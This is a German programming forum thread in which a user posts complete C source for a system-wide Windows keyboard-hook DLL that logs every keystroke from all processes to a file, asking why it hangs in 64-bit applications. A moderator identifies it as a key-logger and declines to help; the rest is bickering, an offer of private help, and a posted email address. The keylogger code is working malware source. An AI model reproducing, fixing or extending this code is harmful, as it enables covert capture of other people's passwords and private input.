DLL 32/64Bit Handhabung



  • So hier mal den Code. Habe zu Testzwecken die aufgezeichneten key's in eine datei gespeichert. Nach wie vor habe ich das Problem das die DLL unter XP32 und VISTA32 funktioniert. Unter VISTA64 funktioniert das so lange bis ich in einer 64Bit Anwendung bsp. System-Explorer eine Eingabe mache. Solange ich nur in einer 32Bit Anwendung unter 64Bit Os eine Eingabe mache funktioniert er einwandfrei.

    HEADER :

    #define EXPORT __declspec (dllexport)
    
    EXPORT BOOL CALLBACK installhook(void);
    
    EXPORT BOOL CALLBACK uninstallhook(void);
    

    DLL:

    #include <windows.h>
    #include <stdio.h>
    #include "hooking_dll.h"
    
    #pragma comment(linker, "/Section:.hook,RWS")
    
    #pragma bss_seg(".hook")
    HINSTANCE hinstanc;
    #pragma bss_seg()
    
    HHOOK hkb;
    FILE *log;
    
    int WINAPI DllMain(HINSTANCE hins ,DWORD fdwr ,PVOID rwd)
    {
    
        switch (fdwr){
            case DLL_PROCESS_ATTACH :
                // Die DLL wird in den Adressraum des aktuellen Prozesses
                // eingeblendet.
                hinstanc = hins ;
    
                break ;
        }
    
    	return 1;
    
    }
    
    LRESULT CALLBACK KeyboardProc(int nCode ,WPARAM wParam ,LPARAM lParam )
    {
    
        char ch;
        unsigned short w;
        unsigned int scan=0;
        char ks[256];
    
    	log = fopen("c:\\Users\\Public\\DATA\\kblog.txt","a+"); // In Windows XP und tiefer, natürlich ein anderer Pfad - hier nur zur Demonstration
            if(log == NULL) exit(1);
    
        if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode)) {        
            if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100)) {
                if (wParam==VK_RETURN) {
                    ch='\n';
                    fwrite(&ch,1,1,log);
                } else {
                    GetKeyboardState(ks);
                    ToAscii((UINT)wParam,scan,ks,&w,0);
                    ch = (char)w; 
                    fwrite(&ch,1,1,log);
                }
    
            }
    
        }
    	fclose(log);
    
        return CallNextHookEx( hkb, nCode, wParam, lParam );
    }
    
    // Install Keyboard hook Function.
    EXPORT BOOL CALLBACK installhook()
    {
    	BOOL rc=0;
    
        hkb = SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,hinstanc,0);
    	if(hkb==NULL){
    		rc = 1;
    	} else {
    		rc = 0;
    	}
    
        return rc;
    }
    
    // Uninstall Keyboard hook Function.
    EXPORT BOOL CALLBACK uninstallhook()
    {
    
    	return UnhookWindowsHookEx(hkb);
    }
    

    TEST MAIN:

    #include <windows.h>
    #include <stdio.h>
    #include "hooking_dll.h"
    
    int main()
    {
    
    	/* Install Keyboard Hook */
    	if( installhook() ) {
               return 0;
            }
    
    	getchar();
    
            // Uninstall
    
    	return 0;
    }
    

    gruss



  • Das Directory DATA ist schon richtig. Den es wurde von mir erstellt.

    gruss



  • @martin richter

    und was meinenst du dazu?
    muss dazu sagen, dass unter vista64 bit, die eingabe unter 64bit programmen hängt, wen ich den hook dan rasch beende werden die zeichen aber doch noch ausgegeben. wen ich aber versuche, wärend er hängt, die 64bit anwendung zu beenden, dan stürtzt es ab.

    ???


  • Mod

    Grundsätzlich:
    1. Ich mag keine Hooks und ich helfe i.A. in diesem Forum nicht in den Details. Schon gar nicht mag ich solche Key-Logger.
    2. Soclh einen Blödsinn, bei einem Fehler von fopen in den Tiefen des Hooks exit auszuführen habe ich selten gesehen.
    3. Hast Du schon mal daran gedacht zu debuggen?
    4. Hast Du schon mal daran gedacht evtl. mal nur einen anderen Prozess zu hooken und nciht alle um das zu testen und Dir das Debuggen leichter zu machen?

    Aufgrund von 1. ist für mich hier EOD



  • hatte ja geschrieben das dies nur aus testzwecken, mit fopen gemacht wurde, da ich später auf hotkeys reagieren mœchte.
    aber scheinbar ist hier deinre kompetenz zu ende.. schade.

    komisch ist einfach nur das der hook auf 32bit os's läuft nur auf 64bit os bei 64bit programmen nicht.

    taste



  • Hi

    Ich kann dir helfen..
    Deine Email?

    Zum anderen, wider mal typisch.. wens ins detail geht, scheint jeder alles zu wissen, doch eine Kompetente Antwort gibts selten.

    lowbyte



  • lowbyte_ schrieb:

    Zum anderen, wider mal typisch.. wens ins detail geht, scheint jeder alles zu wissen, doch eine Kompetente Antwort gibts selten.

    lowbyte

    Das sagt genau der richtige.... 👎

    Eine kompetente Antwort von Dir auf meine Frage nach LoadImage() bzw. LoadBitmap() steht bis heute immer noch aus.
    Sehr nebulöses Gebaren, lieber Herr lowbyte_ (oder doch ne Frau lowbyte_ ?)
    Schau mal da, angeblich alles wissend, aber nix sagend:
    http://www.c-plusplus.net/forum/viewtopic-var-t-is-273780-and-start-is-0-and-postdays-is-0-and-postorder-is-asc-and-highlight-is--and-printview-is-1-and-start-is-0.html

    Nix für ungut, aber registrier Dich mal wenigstens als anständiger User hier im Forum... 🙄
    Martin



  • hi

    sorry tut mir leid. werde dir heute nachmittag schreiben. habe das vetgessen, da ich hier im forum nicht reg. bin. deswegen musst du mich nicht gleich anfahren. werde mich heute reg.

    lowbyte



  • danke dir lowbyte.
    hier meine e-mail.
    comprog@gmx.de

    gruss



  • Hallo

    So bin nun endlich registriert.

    at: Mmacher

    Sowas kannst du wirklich nicht vergleichen ! Beim anderen Thread sprechen wir von Sicherheitslücken. Doch wenn du gerne mehr darüber erfahren möchtest, schreib mir eine E-Mail in der du dein jabber oder weis ich was ID/ADDR angibst. Dann können wir real-time darüber sprechen. Wäre mir lieber und würde mir Zeit ersparen, wenn ich den bis ins Detail gehen soll. Wen du das möchtest !?

    lowbyte



  • Mmacher schrieb:

    Sehr nebulöses Gebaren, lieber Herr lowbyte_ (oder doch ne Frau lowbyte_ ?)

    Hast dich wohl bei meinem garbage Account bei gmx reingehängt was !? 🙂
    Ist mir eigentlich egal. Wie gesagt nur Müll.

    lowbyte



  • Hi

    @Martin Richter
    Bin mit dir einer Meinung. Entschuldigung. Ich bezweifle dein Kompetenzen nicht !

    @Mmacher
    Hätte doch noch gerne gewusst woher du das Wort Frau im bezug auf lowbyte und meiner E-Mail hast, ansonnsten entschuldige ich mich hiermit.

    @tast
    Wenn du einmal soweit bist kannst du dein Problem sicher selbst lösen, aber nicht durch mich. Will hier nicht ständig der angeschissene sein !

    Und jetz ist für mich dieser Thread EOD.



  • Irgendwie zickst du rum wie ne Frau lol


Anmelden zum Antworten